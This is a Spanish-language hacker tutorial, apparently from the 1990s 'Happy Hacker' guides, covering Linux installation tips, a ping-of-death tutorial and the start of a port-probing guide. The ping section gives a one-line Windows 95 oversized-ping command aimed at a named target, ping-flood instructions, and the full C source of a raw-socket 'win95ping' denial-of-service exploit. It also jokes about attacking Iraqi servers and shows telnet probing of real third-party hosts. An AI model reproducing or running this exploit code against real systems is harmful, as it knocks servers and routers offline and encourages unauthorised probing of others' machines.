¿Qué tipo de Linux funciona mejor? Depende de lo que realmente quieras. RedHat Linux tiene fama de ser el más fácil de instalar. La distribución Walnut Creek 3.0 en CD-ROMs es también muy fácil de instalar; ¡para ser un Linux, claro! Yo he procurado conseguir muchas versiones diferentes de Linux y mezclar y combinar lo mejor de cada distribución.

Mi favorita es la versión de Walnut Creek, porque con mi hardware de marca X, su función de autodetección me ha ahorrado mucho trabajo.

¡INSTALAR LINUX no es una tarea para los de corazón frágil! Algunas pistas para sobrevivir a la instalación son:

1.      Aunque en teoría puedes ejecutar Linux en un 286 con 4 MB de RAM y dos unidades de diskette, es *mucho* más fácil con un 486 o superior con 8 MB de RAM, un CD-ROM, y al menos 200 MB de espacio libre en el disco duro.

(Nota: hoy día necesitas al menos un 386, y te irá mucho mejor con un 486 o superior, al menos 12 MB de memoria, que pueda arrancar desde el CD-ROM, y con al menos 500 MB de espacio libre en el disco duro).

2.      Averigua todo lo que puedas sobre el tipo de placa base, módem, disco duro, CD-ROM y tarjeta de vídeo que tienes. Si dispones de documentación, tenla a mano como referencia durante la instalación.

3.      Es mejor utilizar hardware de marca conocida y un poco anticuado en tu ordenador. Dado que Linux es freeware, no ofrece controladores de dispositivos para todo el hardware más reciente. Y si tu hardware es como el mío (muchas cosas de Marca X), puede llevarte mucho tiempo experimentar con qué controladores funcionará.

4.      ¡Antes de empezar la instalación, haz una copia de seguridad de tu(s) disco(s) duro(s)! En teoría, puedes instalar Linux sin dañar tus ficheros DOS/Windows. Pero todos somos humanos, en especial si seguimos el consejo del punto número 7).

5.      Consigue más de una distribución de Linux. La primera vez que instalé Linux con éxito, acabe consiguiendo que funcionase utilizando el disco de arranque de una distribución con el CD-ROM de otra. En cualquier caso, cada distribución de Linux tiene diferentes utilidades, emuladores de sistemas operativos, compiladores y más. Añádelos a tu sistema y estarás preparado para ser más que de la élite.

6.      Cómprate un libro o dos o tres sobre Linux. ¡A mi no me gustó ninguno! Pero son mejor que nada. La mayoría de libros vienen con uno o dos CD-ROMs que se pueden usar para instalar Linux. Pero yo descubrí que lo que había en los libros no coincidía exactamente con lo que había en los CD-ROMs.

7.      Recomiendo beber durante la instalación. No hará que la resolución de problemas vaya más rápido, pero al menos no te importará lo duro que sea.

Ahora os puedo garantizar que, aunque sigáis los seis consejos, aún tendréis problemas instalando Linux. ¿Perdón, he dado siete consejos? Olvidad el número 7. Pero estad de buen humor. Dado que el resto de gente también sufre considerablemente a la hora de instalar y configurar Linux, Internet tiene una gran riqueza de recursos para los que se hayan atrevido con el reto de Linux.

Y si eres alérgico a recibir mensajes de protesta, puedes empezar con las sedes Web de soporte para Linux.

La mejor que he encontrado es http://sunsite.unc.edu:/pub/Linux/. Incluye la FAQ de Linux, disponible en sunsite.unc.edu:/pub/Linux/docs/FAQ.

En el directorio /pub/Linux/docs de sunsite.unc.edu podrás encontrar gran número de documentos sobre Linux, incluyendo la Linux INFO-SHEET y META-FAQ.

El archivo de documentos HOWTO de Linux (manuales de instalación y utilización) está en el web sunsite.unc.edu en: /pub/Linux/docs/HOWTO. El directorio /pub/Linux/docs/LDP contiene los manuales LDP (proyecto de documentación de Linux) actualizados.

Puedes conseguir la "Linux Installation and Getting Started Guide" ("Instalación e Iniciación a Linux") de sunsite.unc.edu en /pub/Linux/docs/LDP/install-guide. El fichero de información README de dicho directorio describe cómo se puede solicitar una copia impresa del libro del mismo nombre (en torno a 180 páginas).

Ahora bien, si no te molesta recibir flames, puedes remitir tus preguntas a uno de los múltiples grupos de noticias que tratan sobre Linux. Entre ellos figuran:

comp.os.linux.advocacy Los beneficios de Linux comparados
comp.os.linux.development.system Kernels de Linux, controladores de dispositivos
comp.os.linux.x Servidores del sistema X Window para Linux
comp.os.linux.development.apps Cómo escribir aplicaciones para Linux
comp.os.linux.hardware Compatibilidad de hardware
comp.os.linux.setup Instalación de Linux
comp.os.linux.networking Redes y comunicaciones
comp.os.linux.answers Ficheros FAQ, HOWTO, README, etc.
linux.redhat.misc
alt.os.linux En lugar de estos, ve a comp.os.linux.*
alt.uu.comp.os.linux.questions La Universidad Usenet te ayuda
comp.os.linux.announce Anuncios importantes sobre Linux
comp.os.linux.misc Temas específicos de Linux




¿Quieres un Linux gratuito? Tobin Fricke ha indicado que "hay copias gratuitas de los CD-ROMs de Linux en Linux Support & CD Giveaway, en http://emile.math.ucsb.edu:8000/giveaway.html. Es un proyecto con el que la gente dona los CD's de Linux que ya no necesitan. El proyecto fue iniciado por Linux Systems Labs, que donó más de 800 CDs! Por favor, acuérdate de donar tus CD's de Linux cuando hayas acabado con ellos. Si vives cerca de un punto de encuentro de intercambio informático o de tiendas similares, busca CDs de Linux allí. Habitualmente están por debajo de 20 dólares, lo cual los convierte en una buena inversión. Personalmente me decanto por Linux Developer's Resource de Infomagic, que consiste en un conjunto de siete CDs, creo, que incluye las distribuciones de Linux más importante (Slackware, Red Hat, Debian, Linux para DEC Alpha, por nombrar algunos) junto con réplicas de tsx11.mit.edu y susite.unc.edu/pub/linux y mucho más. También deberías visitar la MARAVILLOSA página de Linux en http://sunsite.unc.edu/linux, que dispone de mucha información, así como http://linux.org/. También querrás echarle un vistazo a http://www.redhat.com/ y http://www.caldera.com/ para más información sobre las versiones comerciales de Linux (que aún están disponibles de forma gratuita bajo GNU)".

¿Y qué hay sobre la seguridad de Linux? Sí: Linux, como cualquier otro sistema operativo, es imperfecto. Perfecto para el hacking, si os interesa saberlo. De modo que si queréis averiguar cómo hacer seguro vuestro sistema Linux, o si alguna vez os encontráis con uno de los muchos ISPs que utilizan Linux y queréis explorar (¡uy! Olvidad que he escrito eso), aquí es donde tenéis que ir a buscar la información:

ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks
ftp://info.cert.org/pub/tech_tips/root_compromise
http://bach.cis.temple.edu/linux/linux-security/
http://www.geek-girl.com/bugtraq/

También hay ayuda para los usuarios de Linux en el IRC. Ben (cyberkid@usa.net) mantiene un canal llamado #LinuxHelp en el servidor IRC Undernet.

Y, último pero no menos importante, si queréis hacer preguntas sobre Linux en la lista de Happy Hacker, seréis bienvenidos. Seremos ciegos guiando a ciegos, pero ¡qué importa!

¡Eso quiere decir paquetes! ¡Datagramas!. Se explica el ataque de denegación de servicio con un ping con un paquete de gran tamaño. Pero este truco es mucho menos inofensivo que el resto. No probéis esto en casa...

Si habéis estado en la lista de Happy Hacker durante un tiempo, habréis visto algunas cosas procedentes de la lista Bugtraq sobre un nuevo ataque con ping.

Si esto os sonaba a un galimatías, relajaos. Realmente es muy simple. De hecho, es tan simple que si usáis Windows 95, al terminar este artículo conoceréis una orden simple y de una línea que podríais usar para echar abajo mucho servidores y routers de Internet.


Aviso de cárcel: esta vez no voy a implorar a los aspirantes a genios malignos de esta lista que sean buenos y resistan la tentación de darle un mal uso a la información. Se lo voy a ordenar. ¡Mirad lo que me importa! Si cogen a uno de estos tíos echando abajo miles de servidores y routers de Internet, no sólo irá a la cárcel y le multarán. Todos pensaremos que es un imbécil. Este ataque es una orden de una línea de Windows 95 y no hace falta cerebro para usarlo. Sí, ese sistema operativo diseñado para negados. Así que este hacking no es de la élite. Lo que es de la élite es ser capaz de defenderse de este ataque.



Nota para principiantes: si los paquetes, los datagramas y el TCP/IP no son exactamente algo que amáis, creedme, realmente tenéis que acostaros con esto para poder llamaros hackers. Así que preparados para algo de material técnico. Cuando terminemos, tendréis la satisfacción de saber que podríais crear el caos en Internet, pero que sois de la élite y no lo haréis.

Un paquete es una forma de enviar información electrónicamente sin errores. La idea es que ninguna tecnología de transmisión es perfecta. ¿Habéis jugado alguna vez al juego del teléfono? Un grupo de personas se sienta en círculo y la primera persona le susurra algo a la segunda. Por ejemplo, "los perros son animales". La segunda persona le susurra a la tercera "los berros no son animales". La tercera, "los berros son vegetales"... y así hasta el final. Es divertido ver de qué forma puede cambiar el mensaje a medida que pasa por el círculo.

Pero, por ejemplo, al recibir correo electrónico, preferiríais que no se estropeara. Así que el ordenador que envía el correo electrónico lo divide en pequeñas piezas llamadas datagramas. Después añade varias cosas delante y detrás de cada datagrama indicando a qué ordenador hay que enviarlo, de dónde venía, y un código de comprobación para ver si se ha estropeado el datagrama. Estos bloques de datagramas con información adicional se llaman "paquetes".

(Nota: esta explicación de los datagramas y los paquetes ha puesto de los nervios a la comunidad "hacker" de mal carácter. Posiblemente todavía podréis encontrar mensajes flame sobre esto en el web de Brian Martin, Attrition.org. La razón por la que Martin y Michael Schiffmann consideran que la "carga de datos" de un paquete no puede ser denominada datagrama es que Martin y sus colegas tienen una preparación deficiente. Hablando claro, aprendieron lo que saben de ordenadores en los callejones de Internet, en lugar de estudiar Ingeniería Informática).

Si el ordenador que os va a enviar un correo metiera un mensaje largo en un solo paquete, hay grandes probabilidades de que se estropearía de camino hacia el otro ordenador. Así que cuando el ordenador receptor compruebe el paquete y vea que se ha dañado, lo eliminará y le dirá al otro ordenador que lo vuelva a enviar. Podría llevar mucho tiempo hasta que ese paquete gigante llegue intacto.

Pero si se divide el mensaje en muchos trozos pequeños y se montan varios paquetes, la mayoría de ellos llegarán bien y el receptor los aceptará. Tan sólo le dirá al emisor que vuelva a enviar los paquetes que se estropearon. Cuando consiga tener todas las piezas, el ordenador receptor las juntará en el orden correcto y sorpresa, aquí tenemos un mensaje completo y sin errores.

TCP/IP son las siglas de Transmission Control Protocol/Internet Protocol (Protocolo de Control de Transmisión/ Protocolo de Internet). Le indica a los ordenadores que están conectados a Internet cómo preparar paquetes con los mensajes y cómo leer los paquetes que envíen otros ordenadores. Ping usa TCP/IP para crear sus paquetes.


Ping es una orden que envía una sonda de vuestro ordenador a otro ordenador para saber si está encendido y conectado a la misma red en la que estáis. En Internet hay unos diez millones de ordenadores a los que podéis hacer ping.

Ping es una orden que podéis ejecutar en Unix, en Windows 95 o en NT. Es parte del Internet Control Message Protocol (ICMP, Protocolo de Control de Mensajes en Internet), que se usa para buscar fallos en redes TCP/IP. Lo que hace es decirle a un ordenador remoto que envíe un ping de respuesta. Así que si vuelve vuestro ping, sabéis que ese ordenador está en marcha y conectado. Más aún, algunas variantes de la orden ping también os dirán el tiempo que lleva a un mensaje llegar a ese ordenador y volver.

¿Pero cómo sabe vuestro ordenador que ha respondido verdaderamente el ordenador objetivo al ping que envió? La respuesta es por el datagrama. Con el ping se envió un datagrama. Si el ping de vuelta tiene el mismo datagrama, sabéis que es vuestro ping el que volvió.

El formato básico de la orden es simplemente:

ping máquina

donde "máquina" es la dirección de Internet del ordenador que queréis comprobar.

Cuando ejecuto esta orden en el sistema operativo Sun Release 4.1 (un Unix), recibo la respuesta "máquina is alive" ("la máquina vive").


Nota técnica: debido al poder destructivo de ping, muchos proveedores de acceso a Internet ocultan el programa ping en sus cuentas shell donde los principiantes no puedan encontrarlo. Si vuestra shell responde "orden no encontrada" al ejecutar ping, probad con:

/usr/etc/ping máquina

Si esto no funciona, probad con la orden "whereis ping", o hablad con el soporte técnico de vuestro proveedor. Puede que hayan deshabilitado el uso de ping para usuarios normales, pero si convencéis al soporte técnico de que sois buenos ciudadanos de Internet, puede que os dejen usarlo.



Nota para principiantes: ¿no podéis encontrar una forma de hacer ping con vuestro servicio de acceso a Internet? Eso puede ser porque no tenéis una cuenta shell. Pero hay una cosa que necesitáis verdaderamente para practicar hacking: ¡¡¡UNA CUENTA SHELL!!!

La razón por la que los hackers se ríen de la gente que tiene cuentas de America Online es porque este proveedor no proporciona cuentas shell. ¡America Online quiere que seáis chicas y chicos buenos y que no practiquéis hacking!

Una "cuenta shell" es una cuenta de acceso a Internet en la que vuestro ordenador se convierte en una terminal de uno de los servidores de vuestro proveedor. Una vez que estáis en la "shell", podéis ejecutar órdenes del sistema operativo (generalmente Unix) como si estuviérais sentados ante el servidor.

Puede que tengáis una cuenta shell pero que simplemente no sepáis cómo acceder a ella. Llamad al soporte técnico de vuestro proveedor para averiguar si tenéis una y cómo podéis acceder a ella.


Hay toda clase de variantes de la orden ping. Y claro, si una orden que ejecutáis en Internet tiene múltiples variantes, podéis contar con que habrá algo que se pueda usar para practicar hacking. ¡Jajajajajaaaaaa!

El "ping flood", o "ping inundación" es un ejemplo. Si vuestro sistema operativo os deja ejecutar la orden:

ping -f máquina

enviará una verdadera oleada de pings, tantos como pueda enviar el servidor de vuestro proveedor. Esto hará que la máquina a la que habéis enviado el ping estará tan atareada respondiendo que apenas podrá hacer otra cosa. También es una gran carga en la red.

Los hackers de bajo nivel y escasos conocimientos se ponen de acuerdo a veces y usan varios ordenadores simultáneamente para enviar pings a algún servidor. Esto hará generalmente que la víctima esté tan ocupada respondiendo que no podrá hacer nada más. Puede hacer incluso que se bloquee. La contrapartida (desde el punto de vista del atacante) es que también mantiene atareado el ordenador del atacante.


Nota de netiqueta: hacer un ping flood contra un ordenador es algo extremadamente burdo. Si os cogen haciendo esto tendréis suerte si lo peor que os ocurre es que vuestro proveedor de acceso a Internet os cierra la cuenta. Hacedle esto a un hacker experto y puede que necesitéis una nueva identidad.

Si iniciáis un ping flood por accidente, podéis interrumpirlo manteniendo pulsada la tecla Control y pulsando "c" (Ctrl-C).



Nota para genios malignos: ¡haceos ping a vosotros mismos! Si estáis usando algún Unix, vuestro sistema operativo os dejará hacer con vuestro ordenador cualquier cosa que podéis hacerle a otros ordenadores. La dirección de red que os lleva a vuestro propio ordenador es localhost (o 127.0.0.1). Un ejemplo de cómo usar localhost:

<slug> [65] ->telnet localhost
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is '^]'.

SunOS UNIX (slug)

login:

Ya véis, de nuevo me encuentro la secuencia de acceso al ordenador llamado "slug".

Ahora lanzo un ping contra mi ordenador:

<llama> [68] ->/usr/etc/ping localhost
localhost is alive

Esto es lo mismo que ejecutar:

<llama> [69] ->/usr/etc/ping llama
llama.swcp.com is alive



Nota de risa: ¿queréis dejar a alguien en ridículo? ¡Decidle que se conecte por ftp a la dirección 127.0.0.1 con su usuario y password para conseguir programas pirata! Mi ex-marido Keith Henson se lo hizo a la Iglesia de la Cienciología. Los de la Cienciología se conectaron a 127.0.0.1 y descubrieron todas sus obras con copyright. Dieron por supuesto que era el ordenador de Keith, no el suyo. Estaban *tan* seguros de que les había robado sus obras que le denunciaron. El juez, cuando supo que estaban conectándose a su propio ordenador, literalmente se rió en su cara.

Si queréis una desternillante transcripción o cinta con esta infame vista, enviad un correo a hkhenson@cup.portal.com. Es la dirección de Keith. ¡Me descubro ante un excelente hacker!


Sin embargo, la vulnerabilidad de ping con un paquete de gran tamaño que váis a aprender ahora hará incluso más daño a algunos servidores que una banda de conspiradores del ping flood. Y lo hará sin mantener ocupado al ordenador atacante más tiempo que las décimas de segundo que supone enviar el ping.

(Nota: Esto no funcionará en Windows 98 ni funcionará a través de Internet. Tenéis que estar en una red de área local para usar el "ping asesino").

La forma más fácil de ejecutar este truco es usar Windows 95. ¿No lo tenéis? Seguro que lo podréis encontrar tirado de precio en alguna tienda.

En primer lugar, configurad vuestro Windows 95 para que pueda hacer una conexión PPP o SLIP a Internet usando el programa Acceso Telefónico a Redes que está en Mi PC. Puede que necesitéis algo de ayuda del soporte técnico de vuestro proveedor para hacerlo. Tenéis que hacerlo, o si no esto no funcionará. Vuestro programa de conexión de America Online *seguro* que no servirá.


Nota para principiantes: si vuestra conexión a Internet os permite ejecutar un navegador web que muestra imágenes, podéis usar el número de teléfono de conexión con Acceso Telefónico a Redes de Windows 95 para establecer una conexión PPP o SLIP.


A continuación, conectáos a Internet. Pero no abráis el navegador ni ninguna otra cosa. En lugar de eso, una vez que el Acceso Telefónico a Redes os diga que estáis conectados, haced click en el botón Inicio, e id a Símbolo de MS DOS. Abrid esa ventana de DOS. Veréis un prompt:

C:\windows\>

Ahora hagámoslo en primer lugar como los buenos ciudadanos. En este prompt podéis ejecutar una orden ping normal:

C:\windows\ping máquina

donde "máquina" es la dirección de algún ordenador conectado a Internet. Por ejemplo, podéis hacer ping a thales.nmia.com, que es uno de mis ordenadores favoritos, y que se llama así por un filósofo griego.

Y si supiérais la dirección del ordenador de Saddam Hussein, podríais ejecutar la siguiente orden:

c:\windows\ping -l 65510 ordenador.saddam.mil

¡No hagáis esto contra un ordenador real! Algunos, aunque no todos los ordenadores, se bloquearán y permanecerán así o se reiniciarán al recibir este ping. Otros seguirán trabajando sin problemas, y caerán de repente unas horas después.

¿Por qué? Esos parámetros adicionales, -l 65510, crean un datagrama gigante para el paquete del ping. Algunos ordenadores, cuando se les pide que devuelvan un datagrama idéntico, se quedan bloqueados.

Si queréis conocer todos los detalles siniestros de esta vulnerabilidad, incluido el cómo proteger a vuestros ordenadores, id a:

http://www.sophist.demon.co.uk/ping

Hay otras formas de fabricar un datagrama gigante para un ping aparte de usar Windows 95. Por ejemplo, si ejecutáis algunas versiones de FreeBSD o Linux en vuestro PC, podéis ejecutar este programa, enviado a la lista Bugtraq.

De: Bill Fenner <fenner@freefall.freebsd.org>
A: BUGTRAQ <BUGTRAQ@netspace.org>
Asunto: programa de la vulnerabilidad del ping

Dado que algunas personas no tienen Windows 95 a su alcance, he escrito este programa. Necesita un nivel de sockets básico que no altere el paquete, así que no sirven BSD 4.3, SunOS y Solaris. Funciona bien en sistemas BSD 4.4 Debería funcionar en Linux si se compila con el parámetro -DREALLY_RAW.

Podéis usar este código como queráis. Por favor, usad esta herramienta sólo para hacer pruebas con vuestras propias máquinas, y no para atacar a las de otros.

/* win95ping.c
*
* Simula la orden maligna de Windows 95 "ping -l 65510 maquina".
* version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
*
*Necesita sockets basicos que no alteren el paquete (aparte de añadir
*el checksum). Eso quiere decir que SunOS, Solaris, y los sistemas basados
*en BSD4.3 no sirven. Servirán los sistemas BSD4.4 (FreeBSD, NetBSD,
* OpenBSD, BSDI). Puede funcionar en Linux, no tengo un sistema Linux
*para probarlo.
*
* El ataque desde la máquina con Windows 95 tiene este aspecto:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*
*si a vuestro kernel no le van los paquetes limpios, #define REALLY_RAW.
* Posiblemente solo para Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0;       /* se llena el kernel */
ip->ip_src.s_addr = 0;      /* se llena el kernel */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* es fácil calcular el checksum si todos son ceros */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* un total de 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}

(Fin del mensaje de Fenner sobre la vulnerabilidad de ping).


Aviso de cárcel: este hacking no sólo no es de la élite, si estáis leyendo esto no sabéis suficiente como para evitar que os detengan por usar este ping. Por otro lado, si hacéis esto con un servidor de Internet que esté en Irak...


Por supuesto, hay muchas otras cosas geniales que podéis hacer con ping. Si tenéis una cuenta shell, podéis encontrar mucha información sobre ping con la orden:

man ping

Es más, podéis conseguir multitud de información sobre cualquier orden de Unix con "man".

Divertíos con ping- ¡y sed buenos! Pero recordad, no estoy pidiendo a los aspirantes a genio maligno que sean buenos. Mirad lo que me va importar que os detengan...

Navegación de puertos


¡Demonios! ¿Cómo podríamos controlar casi cualquier ordenador sin identificarse y sin quebrantar la ley? Impresiona a tus ignorantes amigos y aprende cosas seguras, legales e interesantes.


Hace unos días me visitó una amiga. Tiene 42 años y no tiene ordenador, pero está asistiendo a un curso sobre ordenadores personales en un colegio. Quería saber cuánto había de verdad sobre todo lo que se hablaba de los hackers, por lo que decidí introducirla en cómo moverse por los puertos. Y mientras lo hacía, nos topamos con algo interesante.

La navegación por los puertos es una ventaja de la estructura de TCP/IP. Es el protocolo (o conjunto de reglas) usado para hablar entre ordenadores en Internet. Uno de los principios básicos de Unix (el sistema operativo más usual en los ordenadores conectados a Internet) es asignar un "puerto" a cada función que un ordenador puede mandar o recibir de otro. Ejemplos comunes son enviar y recibir correo, leer grupos de noticias, emular terminales (Telnet), transferir ficheros o entregar páginas Web.


Nota para principiantes nº 1: Un puerto es el lugar de un ordenador por donde entra o sale información. En tu ordenador personal ejemplos de puertos son tu pantalla, que saca información, el teclado y el ratón, que la introducen, y el módem, que envía y recibe información.

Pero un servidor de Internet que -por ejemplo- se llame callisto.unm.edu tiene muchos más puertos que el típico ordenador personal, identificados por números. No son puertos físicos, como sería un puerto serie RS232 (para el módem). Son puertos virtuales (de software).

Un "servicio" es un programa que está activo y funcionando en un "puerto". Cuando se hace un telnet a un puerto, este programa está funcionando y está esperando su petición. ¡Feliz hacking!


Así, si lo que quieres es leer una página Web, el navegador contacta con el puerto 80 y le dice al ordenador que gestiona el sitio Web que se la proporcione. Y casi seguro que entraste en el ordenador que gestiona ese sitio Web sin una contraseña.

Muy bien, Esta es la norma habitual en Internet. Muchos, por no decir la mayoría, de los ordenadores en Internet te permitirán hacer cosas sin necesidad de una contraseña.

Sin embargo, la esencia del hacking es hacer cosas que no sean tan obvias. Esto no es sólo salirse de la información existente en los manuales. Una forma de dar un salto cualitativo con respecto a la mayoría de los usuarios de ordenadores es aprender a navegar por los puertos.

La quintaesencia de la navegación por los puertos es elegir un ordenador destino y explorarlo para ver qué puertos están abiertos y qué se puede hacer con ellos.

Ahora, si eres un hacker astuto, usarás herramientas ya existentes como Satan o Netcat. Estos programas funcionan desde tu PC en ordenadores que usen Linux, FreeBSD o Solaris (todos son variantes de Unix). Automáticamente explorarán el ordenador destino y te dirán qué puertos se están usando. También probarán dichos puertos para detectar demonios activos en ellos que tengan fallos de seguridad conocidos, y te dirá cuáles son.


Nota para principiantes nº 2: Un demonio no es una especie de gremlin o un monstruo satánico. Es un programa que está funcionando en un puerto de un sistema Unix. Está esperándote para que lo uses. Si te encuentras un demonio en un puerto posiblemente se pueda practicar hacking con él. Algunas herramientas hacker te dirán qué características de los demonios que detecten permiten practicar hacking con ellos.


Sin embargo, hay varias razones para navegar por los puertos manualmente en vez de automáticamente.

Nota: Esto se escribió en 1996, cuando rastrear puertos de los ordenadores de otras personas no era muy usual. Actualmente hay muchos más hackers malintencionados entrando en los ordenadores. Al principio estos chicos malos, cuando irrumpían en un ordenador, lo que querían era pasar un programa que les explorara los puertos. Debido a esto, si ejecutas un programa que explore los puertos sin permiso del propietario, asumirá que eres un delincuente. El resultado será que te echarán de tu proveedor de acceso a Internet. Si simplemente miras en un puerto o dos manualmente, tal y como se explica en esta guía, será mucho mas difícil que te pillen.

Veamos pues lo que mi amiga de mediana edad y yo descubrimos casi sin darnos cuenta. Primero, decidimos que no íbamos a gastar nuestro tiempo con ordenadorcillos de tres al cuarto. Eh, vamos a por algo grande.

¿Cómo podíamos encontrar un gran ordenador que estuviera conectado a Internet? Comenzamos con un dominio en el que había una red local de PCs con Linux y que yo ya conocía, que es usada por el proveedor de Internet de Nuevo México nmia.com.


Nota para principiantes nº 3: Un dominio es una dirección de Internet. Puedes usarla para ver qué ordenador está activo en el dominio, y puedes mirar como está conectado el dominio al resto de Internet.


Para hacer esto, primero nos conectamos a mi cuenta con Southwest Cyberport. Después, Introduje la siguiente orden:

<slug> [66] ->whois nmia.com
New Mexico Internet Access (NMIA-DOM) 2201 Buena Vista SE
Albuquerque, NM 87106

Domain Name: NMIA.COM

Administrative Contact, Technical Contact, Zone Contact:
Orrell, Stan (SO11) SAO@NMIA.COM
(505) 877-0617

Record last updated on 11-Mar-94.
Record created on 11-Mar-94.

Domain servers in listed order:

NS.NMIA.COM 198.59.166.10
GRANDE.NM.ORG 129.121.1.2

Estaba claro que grande.nm.org estaba haciendo de servidor de un montón de otros host conectados a Internet detrás de nmia.com. Veamos cómo navegamos por los puertos para saber esto:

<slug> [67] ->telnet grande.nm.org 15

Trying 129.121.1.2 ...

Connected to grande.nm.org.

Escape character is '^]'.

TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1 

 

 

Product              License    Authorization        Expiration Date

----------           -------    -------------        ---------------

MULTINET             Yes        A-137-1641            (none)

NFS-CLIENT           Yes        A-137-113237          (none)

 

 

*** Configuration for file "MULTINET:NETWORK_DEVICES.CONFIGURATION" ***

 

Device                                   Adapter     CSR Address    Flags/Vector

 

------                                   -------     -----------    ------------

 

se0      (Shared VMS Ethernet/FDDI)       -NONE-        -NONE-       -NONE-

 

MultiNet Active Connections, including servers:

Proto Rcv-Q Snd-Q  Local Address (Port)    Foreign Address (Port)  State

----- ----- -----  ------------------      ------------------      -----

TCP       0   822  GRANDE.NM.ORG(NETSTAT)  198.59.115.24(1569)     ESTABLISHED

